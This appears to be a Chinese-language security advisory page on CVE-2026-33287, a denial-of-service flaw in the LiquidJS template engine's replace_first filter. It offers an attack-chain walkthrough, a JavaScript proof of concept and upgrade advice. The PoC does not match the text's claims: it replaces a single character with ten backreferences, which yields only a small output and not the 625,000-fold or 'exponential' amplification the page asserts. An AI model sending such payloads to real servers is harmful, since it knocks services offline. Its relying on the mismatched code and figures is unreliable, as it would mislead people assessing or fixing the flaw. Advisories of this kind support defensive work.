IPBUF安全漏洞报告
English
CVE-2026-33287 CVSS 7.5 高危

CVE-2026-33287 LiquidJS内存耗尽漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33287
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LiquidJS

相关标签

拒绝服务DoS内存耗尽LiquidJSCVE-2026-33287

漏洞概述

LiquidJS是一款纯JavaScript模板引擎。在10.25.1版本之前,`replace_first`过滤器存在内存耗尽漏洞。因仅对输入字符串计算内存限制,攻击者可利用`$&`后向引用实现高达625,000倍的内存放大,在绕过限制的同时导致系统资源耗尽并引发拒绝服务。

技术细节

该漏洞源于LiquidJS的`replace_first`过滤器实现机制。该过滤器底层调用JavaScript的`String.prototype.replace()`方法,其中特殊字符序列`$&`会被解释为对匹配子字符串的后向引用。漏洞的核心在于内存预算的计算逻辑存在缺陷:系统仅根据输入字符串的长度扣除`memoryLimit`配额,而完全忽略了经过替换处理后生成的输出字符串长度。攻击者精心构造包含大量`$&`模式的恶意输入,使得输出字符串的长度相对于输入呈现指数级增长,理论上放大倍数可达625,000倍。由于内存限制检查未能覆盖输出阶段,这种恶意操作会迅速耗尽服务器可用内存资源,导致服务崩溃或拒绝响应,且整个过程无需用户交互或认证即可通过网络远程触发。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用了LiquidJS模板引擎,且版本低于10.25.1。
STEP 2
武器化
攻击者构造包含特殊字符序列`$&`的恶意模板字符串,该序列在替换时会产生输出字符串的指数级放大。
STEP 3
交付
攻击者通过网络向目标服务器发送包含恶意模板数据的HTTP请求。
STEP 4
利用
服务器解析并渲染模板,`replace_first`过滤器处理恶意输入。由于仅检查输入内存限制,系统分配了巨大的内存空间用于存储放大后的输出。
STEP 5
影响
服务器内存资源被瞬间耗尽,导致进程崩溃或系统无响应,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { Liquid } = require('liquidjs'); const engine = new Liquid(); // PoC for CVE-2026-33287 // The 'replace_first' filter uses String.prototype.replace() // '$&' is a backreference to the matched substring // Memory limit is checked only on input, not the amplified output const input = "a".repeat(100); // Short input string to bypass input length checks // Replacing 'a' with many '$&' causes massive memory usage relative to input const template = `{{ "${input}" | replace_first: "a", "$&$&$&$&$&$&$&$&$&$&" }}`; console.log("Triggering DoS via memory amplification..."); try { const result = engine.parseAndRenderSync(template); console.log("Result length:", result.length); } catch (e) { console.error("Process crashed or Out Of Memory:", e); }

影响范围

LiquidJS < 10.25.1

防御指南

临时缓解措施
建议立即升级LiquidJS至10.25.1或更高版本。如无法立即升级,应严格限制用户输入的模板内容长度,并在应用层面对模板渲染的内存使用和执行时间进行监控与限制,防止资源耗尽。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表